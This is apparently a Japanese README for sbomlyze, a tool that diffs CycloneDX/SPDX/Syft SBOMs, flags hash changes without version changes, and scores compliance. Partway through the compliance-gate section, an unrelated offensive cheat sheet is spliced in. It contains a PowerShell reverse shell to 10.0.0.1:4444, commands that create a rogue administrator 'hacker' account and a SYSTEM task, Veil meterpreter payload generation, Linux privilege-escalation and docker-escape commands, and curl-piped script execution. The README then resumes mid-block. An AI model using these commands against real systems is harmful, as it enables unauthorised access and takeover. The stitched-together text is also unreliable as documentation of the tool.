
sbomlyze v0.3.5
あなたのSBOMのgit diff ,CycloneDX/SPDX/Syftの部品表を比較し、改ざんを検出し、CIをゲートする
sbomlyze
あなたのSBOMのためのgit diff。 2つのSoftware Bill of Materials(SBOM)を比較し、ビルド間・バージョン間・リリース間で何が変わったかを確認します。
sbomlyzeは、バージョン文字列だけでなくコンポーネントのハッシュを比較します。攻撃者がバージョンを上げずにパッケージをすり替えた場合、sbomlyzeはそれを検出します。SBOMジェネレータや脆弱性スキャナではこのような変化を見逃します。
このシグナルがマニフェスト差分や通常のコンポーネント差分とどう違うかは、 マニフェスト差分 vs. SBOM差分 vs. 整合性ドリフト を参照してください。
ジェネレータはSBOMを作成し、スキャナはCVEを見つけます。sbomlyzeは2つのSBOM間で何が変わったか、そしてそれを信頼すべきかを示します。 ジェネレータの後に実行してください:
syft image:tag -o cyclonedx-json | sbomlyze - --complianceは、一時ファイルなしで生成されたSBOMを分析しスコアリングします。ベースラインと比較してドリフトを分類し、パイプラインをゲートします。
GitHub Action クイックスタート
GitHub Marketplace の SBOMlyze Diff を追加して、チェックイン済み
または別途生成されたSBOMをgitベースラインと比較します。以下の不変のSHAは、
公開されている v0.5.1 Action です。```yaml
steps:
-
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0
-
uses: rezmoss/sbomlyze@31503690611fda8ebba4ed2bd186eda000442594 # v0.5.1 with: sbom-path: build/sbom.cdx.json
The Action writes a Job Summary by default and can enforce policy, report
integrity drift, upload SARIF, or maintain a single pull-request comment. See
[the complete Action reference](https://github.com/rezmoss/sbomlyze/blob/HEAD/ACTION.md) for inputs, outputs, permissions,
and security guidance. See the
[live demonstration repository](https://github.com/rezmoss/sbomlyze-action-demo)
for a passing dependency update and a blocked same-version hash change, with
public workflow runs and SARIF evidence.
フォーマット別のdogfoodingには、公開されている
[Go + SPDX](https://github.com/rezmoss/sbomlyze-go-spdx-demo)、
[Node + CycloneDX](https://github.com/rezmoss/sbomlyze-node-cyclonedx-demo)、または
[container](https://github.com/rezmoss/sbomlyze-container-demo)の例を使用してください。それぞれに再現可能な5つのレビューシナリオが含まれています。[10分ベータガイド](https://github.com/rezmoss/sbomlyze/blob/HEAD/BETA.md)には、アクティベーションとシグナル品質に関する4つの焦点を絞った質問がまとめられています。
生成されたSBOMはコミットする必要はありません。`baseline: workflow-artifact` は、デフォルトブランチの成功した実行から最新の一致するアーティファクトを取得します。[固定されたSyftコンパニオンワークフロー](https://github.com/rezmoss/sbomlyze/blob/HEAD/examples/workflows/syft-companion.yml) は、SBOMlyzeがレビューとポリシーを担当する一方で、生成とベースライン公開を示しています。
## Why sbomlyze?
SBOMを生成するツールは多くあります。しかし、それらを比較するものはほとんどなく、変更が日常的なものなのかサプライチェーンの危険信号なのかを教えてくれるものはさらに少ないのです。sbomlyzeはそのギャップを埋めます。
| 機能 | **sbomlyze** | cyclonedx-cli | sbomqs | syft / trivy |
|---|:---:|:---:|:---:|:---:|
| SBOM間の**差分** | ✅ | 基本 | ❌ | ❌ |
| **整合性 / 改ざん**ドリフト(バージョン変更なしのハッシュ変更) | ✅ | ❌ | ❌ | ❌ |
| 依存関係グラフの差分 + 推移的深度リスク | ✅ | ❌ | ❌ | ❌ |
| **NTIA / CISA / BSI** コンプライアンススコアリング | ✅ | ❌ | ✅ | ❌ |
| フォーマット変換(Syft / CycloneDX / SPDX) | ✅ | ✅ | ❌ | 一部 |
| **TUI + Web UI** エクスプローラー | ✅ | ❌ | ❌ | ❌ |
| ポリシーゲート + SARIF / JUnit / Markdown / HTML / Patch | ✅ | 一部 | 一部 | 一部 |
## 機能
- **SBOM差分**: 2つのSBOMを比較し、追加・削除・変更されたコンポーネントをひと目で確認できます
- **ドリフト分類**: バージョンドリフトと**整合性ドリフト**(バージョン変更なしにハッシュが変更され、改ざんを示す)、およびメタデータドリフトを区別します
- **コンプライアンススコアリング**: 任意のSBOMを**NTIA**、**CISA 2025**、**BSI TR-03183**の最小要素に対してスコアリングします
- **依存関係グラフの差分**: 推移的依存関係とサプライチェーンの深度を追跡します
- **マルチフォーマット対応**: Syft、CycloneDX、SPDX(JSON)
- **フォーマット変換**: CycloneDX、SPDX、Syft形式間の変換
- **堅牢なIDマッチング**: PURL → CPE → BOM-ref → 名前空間/名前の優先順位
- **統計モード**: ライセンス、依存関係、整合性メトリクスについて単一のSBOMを分析
- **対話型TUIモード**: キーボードナビゲーションと検索でSBOMを探索
- **Web UIモード**: ドラッグ&ドロップアップロード対応のブラウザベースSBOMエクスプローラー
- **ポリシーエンジン**: CIパイプラインでドリフト、ライセンス、コンプライアンススコアのルールを適用
- **GitHub Marketplace Action**: Job Summary、SARIF、任意のコメント出力を使用して、SBOMドリフトに基づいてプルリクエストをゲート
- **重複・衝突検出**: 同じパッケージの複数バージョンと曖昧なID一致を検出
- **複数の出力形式**: Text、JSON、SARIF、JUnit XML、Markdown、HTML、JSON Patch
- **寛容なパース**: エラー時も構造化された警告とともに処理を続行
## インストール
### Homebrew(macOS/Linux)```bash
brew install rezmoss/sbomlyze/sbomlyze
インストーラースクリプト
インストーラースクリプトは、お使いのOS/アーキテクチャに適したバイナリをダウンロードします:```bash
Install to ./bin
curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sh
Install to /usr/local/bin (requires sudo)
curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sudo sh -s -- -b /usr/local/bin
Install specific version
curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sh -s -- -v 0.4.0
**インストーラーオプション:**
| オプション | 説明 |
|--------|-------------|
| `-b <dir>` | インストールディレクトリ(デフォルト: `./bin`) |
| `-d` | デバッグ出力を有効にする |
| `-v <ver>` | 特定のバージョンをインストール(デフォルト: 最新) |
インストーラーは常にリリースのチェックサムを検証します。互換性のあるGitHub CLIがインストールされている場合は、リリースのビルド来歴も検証し、その検証が成功しなければフェイルクローズします。
### Go インストール```bash
go install github.com/rezmoss/sbomlyze/cmd/sbomlyze@latest
バイナリリリースから
最新のバイナリは GitHub Releases からダウンロードできます。
v0.3.7 以降、リリースアーカイブは GitHub artifact attestations 付きで公開されています。
ダウンロードを独立して検証するには、以下を使用します:```bash
gh attestation verify ./sbomlyze_0.4.0_Linux_x86_64.tar.gz
--repo rezmoss/sbomlyze
--signer-workflow rezmoss/sbomlyze/.github/workflows/release.yml
署名なしの apt、rpm、apk リポジトリの手順は、リポジトリがパッケージマネージャー標準の署名検証をサポートするまで削除されています。
**macOS ユーザー:** ダウンロード後に検疫フラグを解除してください:```bash
xattr -d com.apple.quarantine ./sbomlyze
chmod +x ./sbomlyze
ソースからビルド```bash
git clone https://github.com/rezmoss/sbomlyze.git cd sbomlyze go build -o sbomlyze ./cmd/sbomlyze
## クイックスタート```bash
# Compare two SBOMs (the headline use case)
sbomlyze before.json after.json
# Analyze a single SBOM
sbomlyze image.json
# Read an SBOM from standard input
syft image:tag -o cyclonedx-json | sbomlyze -
# Use standard input on either side of a diff
syft image:tag -o cyclonedx-json | sbomlyze baseline.json -
# Score an SBOM against NTIA / CISA / BSI minimum elements
sbomlyze image.json --compliance
# Interactive TUI explorer
sbomlyze image.json -i
# Web UI (opens browser)
sbomlyze -web
# Convert between SBOM formats
sbomlyze convert syft.json --to spdx
sbomlyze convert cdx.json --to syft -o output.json
# JSON output for CI integration
sbomlyze before.json after.json --json
# SARIF output for GitHub Code Scanning
sbomlyze before.json after.json --format sarif
# Markdown report for PR comments
sbomlyze before.json after.json --format markdown
# Apply policy checks
sbomlyze before.json after.json --policy policy.json
使い方```
sbomlyze <sbom1|-> [sbom2|-] [options] sbomlyze convert <sbom|-> --to [-o output]
Modes: Single file: sbomlyze [--json] Show statistics Interactive: sbomlyze -i Interactive explorer Convert: sbomlyze convert --to Convert SBOM format Web server: sbomlyze -web [--port 8080] Web UI explorer Two files: sbomlyze [...] Show diff
Use - in place of one SBOM path to read it from standard input.
Options: -i, --interactive Interactive TUI explorer -web, --web Start web UI server --port Web server port (default 8080) --json Output in JSON format (shortcut for --format json) --format Output format: text, json, sarif, junit, markdown, html, patch --compliance Show NTIA/CISA/BSI compliance scoring --policy Policy file for CI checks --strict Fail on parse warnings --tolerant Continue on parse warnings (default) --no-pager Disable automatic paging of output --to Target format for convert: cyclonedx (cdx), spdx, syft -o, --output Output file for convert (default: stdout) --version, -v Show version information --help, -h Show this help message
## コマンド
### 統計モード(単一ファイル)
SBOMを分析して、コンポーネント、ライセンス、依存関係に関する洞察を得ます。```bash
sbomlyze image.json
出力には、スキャンコンテキスト、自動検出された主要な発見事項、および統計情報が含まれます:``` Scan Context: Tool: syft 1.40.1 Schema: 16.0.18 Scan Scope: all-layers Source Type: image Source: alpine:latest
Key Findings: 💻 OS/Distro: Alpine Linux v3.21 📦 Dominated by apk: 71 of 71 packages (100.0%) 📂 8,542 files tracked on filesystem 🔗 Relationships: 71 containment + 64 dependency 📜 License profile: 72% permissive, 20% copyleft ⚠️ Low hash coverage: 0.0% (71 of 71 missing) 🔍 Top catalogers: apkdb-cataloger (71)
📦 SBOM Statistics
Total Components: 71
By Package Type: apk 71
Licenses: With license: 71 Without license: 0
Top Licenses: MIT 17 BSD-3-Clause 8 GPL-2.0-only 8
Integrity: With hashes: 0 Without hashes: 71
Dependencies: Components with deps: 65 Total dep relations: 176
#### Key Findings
sbomlyze は SBOM に関するインサイトを自動的に生成します。単一ファイル解析の場合、以下が含まれます:
| Finding | Description |
|---------|-------------|
| **OS/ディストリビューション検出** | SBOMメタデータからオペレーティングシステムまたはディストリビューションを識別します |
| **主要エコシステム** | 1つのパッケージタイプが全パッケージの60%以上を占める場合に報告します |
| **ファイルシステムのフットプリント** | ファイルシステム上で追跡されたファイル数 |
| **関係密度** | 包含関係および依存関係の数をカウントします |
| **配置のホットスポット** | コンポーネントが見つかる主要ディレクトリ |
| **ライセンスリスクプロファイル** | パーミッシブ/コピーレフト/不明なライセンスの割合の内訳 |
| **データ品質の警告** | ライセンス(<50%)、ハッシュ(<50%)、またはPURL(<80%)のカバレッジが低い場合に警告します |
| **重複警告** | 重複したコンポーネントグループをフラグ付けします |
| **カタロガーの内訳** | コンポーネントを検出した主要なスキャナ/カタロガー(Syft SBOM) |
#### Coverage Metrics
統計モードは、データ品質評価のためのカバレッジ率を計算します:
| Metric | Description |
|--------|-------------|
| **PURLカバレッジ** | Package URLを持つコンポーネントの割合 |
| **CPEカバレッジ** | CPEを持つコンポーネントの割合(脆弱性スキャン対応度) |
| **ライセンスカバレッジ** | 少なくとも1つのライセンスを持つコンポーネントの割合 |
| **ハッシュカバレッジ** | 整合性ハッシュを持つコンポーネントの割合 |
#### License Categorization
ライセンスは自動的に以下のカテゴリに分類されます:
| Category | Examples |
|----------|----------|
| **コピーレフト** | GPL, LGPL, AGPL, MPL, EPL, CDDL |
| **パーミッシブ** | MIT, BSD, Apache, ISC, Zlib, Unlicense |
| **パブリックドメイン** | パブリックドメインへの寄付 |
| **不明** | 認識されない、または欠落しているライセンス |
### Convert Mode
CycloneDX、SPDX、Syft JSON形式の間でSBOMを変換します。入力形式は自動検出されます。```bash
# CycloneDX to SPDX
sbomlyze convert image.cdx.json --to spdx
# Syft to CycloneDX (cdx is an alias for cyclonedx)
sbomlyze convert syft-output.json --to cdx
# SPDX to Syft, writing to a file
sbomlyze convert spdx-output.json --to syft -o converted.json
Supported Target Formats
| Format | --to value | Output |
|---|---|---|
| CycloneDX 1.5 | cyclonedx or cdx | CycloneDX JSON with metadata, dependencies, and properties |
| SPDX 2.3 | spdx | SPDX JSON with packages, relationships, and external references |
| Syft | syft | Syft JSON with artifacts, relationships, source, and distro info |
What's Preserved
Conversion preserves component names, versions, PURLs, CPEs, licenses, hashes, supplier info, and dependency relationships. Format-specific fields (e.g., Syft language, foundBy, locations) are carried through CycloneDX properties when converting to CDX.
Diff Mode (Two Files)
Compare two SBOMs to see what changed between versions.```bash sbomlyze v1.0.json v2.0.json
#### 差分の概要
差分は、ファイル名、サイズ、OS情報、ツール情報、コンポーネント数といったメタデータの並列比較から始まり、利用可能な場合はスキャンコンテキストの詳細が続きます。
#### 出力```
📊 Drift Summary:
📦 Version drift: 58 components
⚠️ Integrity drift: 1 component (hash changed without version change!)
📝 Metadata drift: 2 components
🔑 Key Findings:
📈 Attack surface: +5 packages (7.0%), +120 files (3.2%)
🚨 2 version downgrades detected: openssl 3.1.4→3.0.2, curl 8.5.0→8.4.0
🔄 56 version upgrades (2 major, 12 minor, 42 patch) among 65 shared packages
⚠️ Integrity drift (1 total): 1 npm (review recommended)
❌ python ecosystem entirely removed (15 → 0 packages)
➕ New ecosystem: golang (8 packages)
✅ Core system packages stable: apk (71) unchanged
+ Added (2):
+ libgcrypt 1.10.3-r0
+ libgpg-error 1.49-r0
- Removed (3):
- libapk 3.0.3-r1
- libgcc 15.2.0-r2
- nghttp3 1.13.1-r0
~ Changed (58):
~ nginx
version: 1.29.4-r1 -> 1.27.3-r1
~ suspicious-pkg ⚠️ [INTEGRITY]
hash[SHA256]: abc123 -> def456
>> Added dependencies:
pkg:apk/alpine/libxslt: +[so:libgcrypt.so.20]
<< Removed dependencies:
pkg:apk/alpine/libcurl: -[so:libnghttp3.so.9]
🔗 New transitive dependencies (3):
+ pkg:npm/lodash (depth 2)
via: [pkg:npm/my-app pkg:npm/express pkg:npm/lodash]
+ pkg:npm/underscore (depth 3)
via: [pkg:npm/my-app pkg:npm/express pkg:npm/lodash pkg:npm/underscore]
📊 New deps by depth:
Depth 2: 1
Depth 3+ (risky): 2 ⚠️
Diff の主要な発見事項
diff モードでは、sbomlyze が両方の SBOM を比較して、より詳細なインサイトを自動生成します:
| 発見事項 | 説明 |
|---|---|
| スキャンコンテキストの不一致 | SBOM 間でスキーマバージョンまたはスキャンスコープが変更された場合に警告します |
| 攻撃対象領域の差分 | パッケージ、ファイル、依存関係の数の変化をパーセンテージ付きで表示します |
| 消滅/新規エコシステム | 完全に出現または消滅したパッケージタイプ |
| OS/ディストリビューションの移行 | スキャン間のオペレーティングシステムの変更を検出します |
| バージョン変更分析 | アップグレードとダウングレードを数え、変更をメジャー/マイナー/パッチに分類します |
| バージョンダウングレード | コンポーネントの詳細とともにダウングレードをセキュリティシグナルとしてフラグします |
| 整合性ドリフトのコンテキスト | リスクガイダンス付きでパッケージタイプ別に整合性ドリフトを分解します |
| 主要なパスパターン | タイプとファイルシステムパスによる集中した変更 |
| 削除/追加のホットスポット | 変更の影響を受ける上位ディレクトリ |
| 安定したタイプ | カウントが同一(変更されていないコア)のパッケージタイプ |
| ライセンスカテゴリの変化 | コピーレフト/パーミッシブのバランスの変化 |
| カタロガーのギャップ | Before でパッケージを検出したが After では検出しなかったスキャナー |
パッケージタイプ別のサンプル
追加および削除されたコンポーネントはパッケージタイプごとにサンプル一覧付きでグループ化され、各エコシステムで何が変更されたかを簡単に確認できます。
コンプライアンススコアリング
任意の SBOM を主要な3つの最小要素フレームワークに対してスコアリングし、監査人や調達チームが繰り返し尋ねる質問に答えます: 「この SBOM は十分に完全ですか?」```bash
Score a single SBOM
sbomlyze image.json --compliance
Score alongside a diff
sbomlyze before.json after.json --compliance
As JSON for CI
sbomlyze image.json --compliance --json
### 評価対象フレームワーク
| フレームワーク | チェック数 | 注目すべき要件 |
|-----------|--------|----------------------|
| **NTIA Minimum Elements**(2021年) | 7 | 名前、バージョン、サプライヤー、一意のID(PURL/CPE)、依存関係、SBOM作成者、タイムスタンプ |
| **CISA 2025 Minimum Elements**(2025年8月ドラフト) | 10 | NTIAに加え、ソフトウェアプロデューサー、ライセンス情報、**コンポーネントハッシュ**、ツール名を追加 |
| **BSI TR-03183-2**(v2.1.0、2025年) | 9 | コンポーネント作成者の連絡先、**SHA-512ハッシュ**、SPDX形式のライセンス、SBOM作成者の連絡先を要求 |
### スコア表示
各フレームワークは、パーセンテージ(合格チェック数 / 総チェック数)と全体スコア(全フレームワークの平均)を報告し、ステータスインジケーター付きで表示します:
| インジケーター | スコア |
|-----------|-------|
| 🟢 | ≥ 90% |
| 🟡 | 70–89% |
| 🟠 | 50–69% |
| 🔴 | < 50% |
JSON出力(`--compliance --json`)には、チェックごとの合格/不合格の詳細を含む完全なレポートが含まれます。HTML形式では、コンプライアンスレポートがレポートページに埋め込まれます。
### CIでのコンプライアンスゲート
[ポリシーエンジン](#policy-engine)を通じてコンプライアンスのしきい値を強制します。何らかのしきい値を設定すると、`--compliance` フラグなしでコンプライアンス評価がトリガーされます:```json
{
"min_ntia_score": 85,
"min_cisa_score": 70,
"min_bsi_score": 80,
"min_overall_compliance": 75
}
Replace your-proxy-url with your actual proxy, and target-url with the target you want to sniff.
Post-Exploitation
🔍 Deep Recon & Automation
| Tool / Command | Description |
|---|---|
advanced_enum.sh | Comprehensive enumeration combining multiple tools |
win_enum.ps1 | PowerShell script for Windows reconnaissance |
linpeas.sh | Linux Privilege Escalation Awesome Script (external) |
winpeas.bat | Windows Privilege Escalation Awesome Script (external) |
Windows Post-Exploitation
Getting System Shells
- Using Services:
sc \\target create name binpath= "cmd.exe /c net user hacker Password123 /add && net localgroup administrators hacker /add"— Create a service for privilege escalation - Using Scheduled Tasks:
schtasks /create /tn "Update" /tr "powershell.exe -enc [base64]" /sc once /st 00:00 /ru system— Create task to run as SYSTEM
PowerShell Reverse Shells
# PowerShell One-Liner
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Veil-Evasion Usage
# Generate PowerShell payload
./Veil.py -t powershell -p VirtualAlloc -o payload --msfvenom windows/meterpreter/reverse_tcp
# Generate Python payload
./Veil.py -t python -o payload.py --msfvenom windows/meterpreter/reverse_tcp
Linux Post-Exploitation
Privilege Escalation Techniques
| Technique | Command | Description |
|---|---|---|
| SUID Binaries | find / -perm -u=s -type f 2>/dev/null | Find binaries with SUID bit set |
| Sudo Rights | sudo -l | Check sudo permissions |
| Capabilities | getcap -r / 2>/dev/null | Find binaries with capabilities |
| Writable /etc/passwd | ls -la /etc/passwd | Check if passwd is writable |
| Docker Group | docker run -v /:/mnt --rm -it alpine chroot /mnt sh | Escape if user is in docker group |
Automated Tools
# LinPEAS - Comprehensive Privilege Escalation Script
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Linux Smart Enumeration
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh; chmod +x lse.sh; ./lse.sh
# LinEnum
wget "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh" -O LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh
``````bash
sbomlyze image.json --policy compliance-policy.json
Dependency Graph Diff
sbomlyze は単純なコンポーネントリストの差分を超えて、依存関係グラフ全体を分析し、推移的依存関係を通じて導入されるサプライチェーンリスクを検出します。
Features
| 機能 | 説明 |
|---|---|
| エッジ差分 | 追加/削除された直接依存関係(A は B に依存) |
| 推移的到達可能性 | グラフを通じて現れる新しい間接依存関係 |
| 推移的喪失トラッキング | 削除された推移的依存関係 |
| パストラッキング | 各新しい推移的依存関係にどのように到達するかを正確に表示 |
| 深さトラッキング | 各新しい依存関係がコードから何ホップ離れているか |
| リスクサマリー | 深さ3以上の依存関係を高リスクとしてフラグ付け |
深さが重要な理由
グラフのより深い位置で導入される依存関係は以下のとおりです:
- 監査やレビューが困難
- 明示的な承認なしに取り込まれることが多い
- サプライチェーン攻撃の一般的なベクター(例: event-stream インシデント)
深さサマリーはレビューの優先順位付けに役立ちます:
| 深さ | リスクレベル | 説明 |
|---|---|---|
| 1 | 低 | 直接依存関係(自分で選んだもの) |
| 2 | 中 | 依存関係の依存関係 |
| 3+ | 高 ⚠️ | 深い推移的依存関係 - 注意深くレビューしてください |
例: 深い推移的依存関係の検出```bash
Before: app -> express (simple, 1 dep)
After: app -> express -> lodash -> underscore -> deep-lib (chain of 4)
sbomlyze before.json after.json
出力:```
🔗 New transitive dependencies (3):
+ lodash (depth 2)
via: [app express lodash]
+ underscore (depth 3)
via: [app express lodash underscore]
+ deep-lib (depth 4)
via: [app express lodash underscore deep-lib]
📊 New deps by depth:
Depth 2: 1
Depth 3+ (risky): 2 ⚠️
依存関係グラフのJSON出力```json
{ "dependencies": { "added_deps": { "pkg:npm/express": ["pkg:npm/lodash", "pkg:npm/body-parser"] }, "removed_deps": {}, "transitive_new": [ { "target": "pkg:npm/underscore", "via": ["pkg:npm/my-app", "pkg:npm/express", "pkg:npm/lodash", "pkg:npm/underscore"], "depth": 3 } ], "transitive_lost": [], "depth_summary": { "depth_1": 0, "depth_2": 2, "depth_3_plus": 2 } } }
## ドリフト検出
sbomlyze はコンポーネントの変更を 3 種類のドリフトに分類し、通常の更新と潜在的に疑わしい変更を区別するのに役立ちます。
### ドリフトの種類
| タイプ | インジケーター | 説明 | 重大度 |
|------|-----------|-------------|----------|
| **バージョン** | 📦 | バージョン番号が変更された | 通常 |
| **整合性** | ⚠️ | バージョン変更なしでハッシュが変更された | 高 - 調査が必要! |
| **メタデータ** | 📝 | メタデータ(ライセンスなど)のみが変更された | 低 |
### 整合性ドリフト(セキュリティシグナル)
整合性ドリフトは、コンポーネントのハッシュが変更されたにもかかわらず、バージョンが同じままである場合に発生します。これは以下を示す可能性があります:
- **サプライチェーン攻撃**: パッケージが悪意のあるバージョンに置き換えられた
- **バージョン番号を増やさないリビルド**: 合法的だが不適切な慣行
- **異なるビルド環境**: 再現性の問題```bash
# Example output with integrity drift
~ suspicious-pkg ⚠️ [INTEGRITY]
hash[SHA256]: abc123 -> def456
Recommendation: 常に整合性のドリフトを調査してください。良性の場合もありますが、サプライチェーンセキュリティの重要なシグナルです。
JSON Output for Drift
ドリフトの要約は diff オブジェクト内にあります:```json
{
"diff": {
"changed": [
{
"id": "pkg:npm/suspicious-pkg",
"name": "suspicious-pkg",
"changes": ["hash[SHA-256]: abc123 -> def456"],
"drift": {
"type": "integrity",
"hash_changes": {
"changed": {
"SHA-256": {"before": "abc123", "after": "def456"}
}
}
}
}
],
"drift_summary": {
"version_drift": 55,
"integrity_drift": 1,
"metadata_drift": 2
}
}
}
**ドリフトサマリーの抽出:**```bash
# Get drift summary
sbomlyze before.json after.json --json | jq '.diff.drift_summary'
# Check for integrity drift in CI
sbomlyze before.json after.json --json | jq -e '.diff.drift_summary.integrity_drift > 0'
重複 & 衝突検出
重複検出
sbomlyze は、SBOM 内で同一のアイデンティティを持つがバージョンが異なるコンポーネントを識別します:``` ⚠️ Duplicates Found: 2 lodash: [4.17.20, 4.17.21] express: [4.18.0, 4.19.2]
差分モードでは、重複バージョンの差分追跡は以下を追跡します:
- **新しい重複**: 新しいSBOMで重複したコンポーネント
- **解決済みの重複**: 統合された重複グループ
- **バージョンの追加/削除**: 既存の重複グループ内でのバージョン変更
### 衝突検出
衝突とは、コンポーネントが同じIDを共有しながらも、矛盾する特性を持つ曖昧なアイデンティティ一致のことです:
| Type | Description |
|------|-------------|
| **名前の不一致** | 同じアイデンティティIDにマッピングされた異なるコンポーネント名 |
| **ハッシュの不一致** | 同じバージョンのコンポーネントが異なるハッシュを持つ(改ざんの可能性) |
## SBOMlyze SBOM Explorer (TUI)```bash
sbomlyze sbom.json -i

TUI キーボードショートカット
ナビゲーション
| Key | Action |
|---|---|
↑ / k | 上へ移動 |
↓ / j | 下へ移動 |
PgUp / Ctrl+u | 半ページ上へ |
PgDn / Ctrl+d | 半ページ下へ |
Home / g | 先頭へジャンプ |
End / G | 末尾へジャンプ |
Enter | コンポーネントの詳細を表示 |
Esc / Backspace | 戻る |
q / Ctrl+c | 終了 |
検索とフィルタ
| Key | Action |
|---|---|
/ | 全フィールドをディープ検索(name、PURL、licenses、raw JSON) |
t | パッケージタイプでフィルタ(npm、apk、golang、pypi など) |
c | アクティブなフィルタをすべてクリア |
ビュー
| Key | Context | Action |
|---|---|---|
j | 詳細ビュー | 構文ハイライト付きでコンポーネントの raw JSON を表示 |
d | JSON ビュー | 詳細ビューに戻る |
Enter | JSON ビュー | コンポーネント JSON をファイルにエクスポート |
? | 任意のビュー | すべてのキーバインドを表示するヘルプを表示 |
コンポーネント詳細ビュー
詳細ビューには、コンポーネントの包括的な情報が表示されます:
- パッケージ情報(name、version、PURL、namespace、supplier)
- 視覚的インジケータ付きのライセンス
- 整合性ハッシュ
- CPE(Common Platform Enumeration)
- 依存関係リスト
- 識別子(ID、BOM-ref、SPDX-ID)
Web UI モード
ドラッグ&ドロップのファイルアップロードに対応した、ブラウザベースの SBOM エクスプローラーを起動:```bash
Start web server on default port 8080
sbomlyze -web
Start on custom port
sbomlyze -web --port 3000
その後、ブラウザで http://localhost:8080 を開きます。
<img width="1497" height="1266" alt="Screenshot 2026-02-06 at 17 08 13" src="https://assets.kitploit.com/production/public/readmes/12637/57bcd50bc9b9955714b9078d1de37fc8152be02845a5c25b74a8fd14ff587bf4.png" />
### Web UI 機能
| 機能 | 説明 |
|---------|-------------|
| **ドラッグ&ドロップアップロード** | 任意の SBOM ファイル(Syft、CycloneDX、SPDX)をページにドロップ(最大 500MB) |
| **依存関係ツリー** | 展開/折りたたみナビゲーション対応のインタラクティブなツリービュー(5000 を超えるコンポーネントはページ分割) |
| **コンポーネント詳細** | ライセンス、ハッシュ、依存関係、サプライヤー情報、ファイル数を表示 |
| **生 JSON ビュー** | 各コンポーネントの JSON を構文ハイライト表示 |
| **ディープサーチ** | 生の JSON データを含む全フィールドを横断検索 |
| **統計ダッシュボード** | カバレッジメトリクス、ライセンスカテゴリ、言語分布 |
| **ファイルシステムブラウザ** | ディレクトリナビゲーション、検索、レイヤーフィルタリングで SBOM 内のファイルを閲覧 |
### 表示される統計情報
Web UI には以下の包括的な統計情報が表示されます:
- **コンポーネント数**(パッケージタイプ別: npm、apk、pypi など)
- **ライセンス分布**(カテゴリ別内訳: コピーレフト、パーミッシブ、パブリックドメイン)
- **カバレッジメトリクス**(視覚的なプログレスバー付き):
- PURL カバレッジ(パッケージ URL の存在)
- CPE カバレッジ(脆弱性スキャンの準備状況)
- ライセンスカバレッジ
- ハッシュ/整合性カバレッジ
- **言語別内訳**(Syft 生成の SBOM の場合)
- **リレーションシップ統計**(contains、dependency-of、evident-by)
- **重複検出**の警告
### ユースケース
**セキュリティレビュー**
- SBOM をアップロードし、依存関係ツリー全体を調査
- 脆弱性スキャンが機能するよう CPE カバレッジを確認
- ライセンスやハッシュがないコンポーネントを確認
**コンプライアンス監査**
- 全コンポーネントから特定のライセンスを検索
- ライセンスカテゴリ分布を表示(コピーレフト vs パーミッシブ)
- ドキュメント用に生の JSON をエクスポート
**開発デバッグ**
- イメージに含まれるパッケージを調査
- 推移的依存関係を確認
- パッケージのメタデータが正しいか検証
### ファイルシステムブラウザ
Web UI には、SBOM 内のファイルを調査するための完全なファイルシステムブラウザが含まれています(特にファイルメタデータを含む Syft 生成の SBOM に便利です):
- **ディレクトリツリーナビゲーション**(パンくずリスト付き)
- **ファイル検索**(部分文字列およびグロブパターン対応、例: `*.so`、`/usr/lib/**/*.conf`)
- **レイヤーフィルタリング**(コンテナイメージの SBOM 用。イメージレイヤーごとにファイルを閲覧)
- **コンポーネントとファイルの関連**(どのコンポーネントがどのファイルを所有しているか)
- **ファイル統計**(タイプ、MIME タイプ、拡張子、レイヤー別)
- **所有されていないファイルの検出**(どのコンポーネントにも関連付けられていないファイル)
## オプション
### `-i`(インタラクティブモード)
キーボード操作で SBOM をナビゲートする、ターミナルベースの TUI エクスプローラーを起動します。```bash
sbomlyze image.json -i
Features: ツリーナビゲーション、コンポーネント詳細、検索、ライセンス/ハッシュ検査。
-web (Webサーバーモード)
ブラウザベースのSBOM探索用にWebサーバーを起動します。```bash
Default port 8080
sbomlyze -web
Custom port
sbomlyze -web --port 3000
The web UI provides drag-and-drop upload, interactive tree view, deep search, and statistics dashboard.
### `--compliance`
SBOMをNTIA、CISA 2025、BSI TR-03183の最小要素フレームワークに照らしてスコアリングします。[コンプライアンススコアリング](#compliance-scoring) を参照してください。```bash
sbomlyze image.json --compliance
sbomlyze image.json --compliance --json
--format / -f
出力形式を選択します。7つの形式が利用可能です。
| 形式 | フラグ | 説明 | 最適な用途 |
|---|---|---|---|
| text | --format text (デフォルト) | 人間が読めるターミナル出力 | ローカルでの確認 |
| json | --json または --format json | 構造化JSON | CIパイプライン、スクリプト |
| sarif | --format sarif | SARIF 2.1.0(GitHub Code Scanning 用) | GitHub 連携 |
| junit | --format junit | JUnit XML テスト結果 | CI テストダッシュボード |
| markdown | --format markdown | PRコメント対応のMarkdownレポート | プルリクエストのコメント |
| html | --format html | 自己完結型HTMLレポート(インラインCSS/JS) | 監査人、共有可能なレポート |
| patch | --format patch | RFC 6902 JSON Patch 操作 | プログラムによるパッチ適用 |
SARIF output for GitHub Code Scanning
sbomlyze before.json after.json --format sarif > results.sarif
JUnit output for CI test dashboards
sbomlyze before.json after.json --format junit > results.xml
Markdown report for PR comments
sbomlyze before.json after.json --format markdown > report.md
Self-contained HTML report
sbomlyze before.json after.json --format html > report.html
JSON Patch operations
sbomlyze before.json after.json --format patch > changes.json
#### SARIF Format
[SARIF 2.1.0](https://sarifweb.azurewebsites.net/) レポートを生成します。これは GitHub Code Scanning に適しています。検出されるルールは以下のとおりです:
